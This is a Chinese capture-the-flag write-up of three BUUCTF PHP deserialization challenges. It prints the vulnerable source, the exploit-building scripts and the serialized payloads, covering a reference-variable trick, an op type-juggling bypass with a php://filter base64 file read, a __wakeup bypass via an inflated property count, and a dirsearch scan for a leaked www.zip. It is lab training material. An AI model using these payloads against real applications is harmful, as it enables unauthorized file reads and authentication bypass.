PHP反序列化练习

BUU上的三个题。

BUU CODE REVIEW 1

复制代码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。

这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。

obj的反序列化会触发__destruct魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。

构造php脚本:

复制代码
<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->correct="";
$a->input=&$a->correct;//input和correct的值相等。
echo serialize($a);
?>

输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

进行输入获取flag:

[网鼎杯 2020 青龙组]AreUSerialz

复制代码
<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;//构造脚本时换成public,否则产生的字符会超出范围。
    protected $filename;
    protected $content;
​
    function __construct() {//不会被触发
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();//调用write函数
        } else if($this->op == "2") {
            $res = $this->read();//调用read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//判断字符串长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//将某字符写入某文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2
        }
        return $res;
    }
​
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {//if里面调用了is_valid函数
        $obj = unserialize($str);
    }
​
}

构造脚本:

复制代码
<?php
class FileHandler {
​
    public $op=2;
    public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php
    public $content;
}
$a=new FileHandler();
echo serialize($a);
?>

构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

区别:

简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。

php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。

[极客大挑战 2019]PHP

本题先使用dirsearch进行扫描,扫描时间有点长。

扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。

复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>//传递的参数是select。

下面着重看class代码。

复制代码
<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。
    private $password = 'yesyes';
​
    public function __construct($username,$password){//不会触发
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {//确保password是100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {//要使条件成立
            global $flag;//获取flag
            echo $flag;//输出flag
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

构造脚本:

复制代码
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a=new Name();
echo serialize($a);
?>

编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9

相关推荐
是上好佳佳佳呀11 分钟前
【前端(十一)】JavaScript 语法基础笔记(多语言对比)
前端·javascript·笔记
莎士比亚的文学花园17 分钟前
Linux驱动开发(3)——设备树
开发语言·javascript·ecmascript
图码25 分钟前
如何用多种方法判断字符串是否为回文?
开发语言·数据结构·c++·算法·阿里云·线性回归·数字雕刻
U盘失踪了31 分钟前
python curl转python脚本
开发语言·chrome·python
charlie11451419131 分钟前
Linux 字符设备驱动:cdev、设备号与设备模型
linux·开发语言·驱动开发·c
handler0133 分钟前
Linux 内核剖析:进程优先级、上下文切换与 O(1) 调度算法
linux·运维·c语言·开发语言·c++·笔记·算法
FQNmxDG4S34 分钟前
Java泛型编程:类型擦除与泛型方法的应用场景
java·开发语言·python
CDN3601 小时前
排查实录:网站偶发502/504错误?360CDN回源超时配置与日志分析技巧
前端·数据库
我星期八休息1 小时前
IT疑难杂症诊疗室:AI时代工程师Superpowers进化论
linux·开发语言·数据结构·人工智能·python·散列表
热心网友俣先生1 小时前
2026年第二十三届五一数学建模竞赛C题超详细解题思路+各问题可用模型推荐+部分模型结果展示
c语言·开发语言·数学建模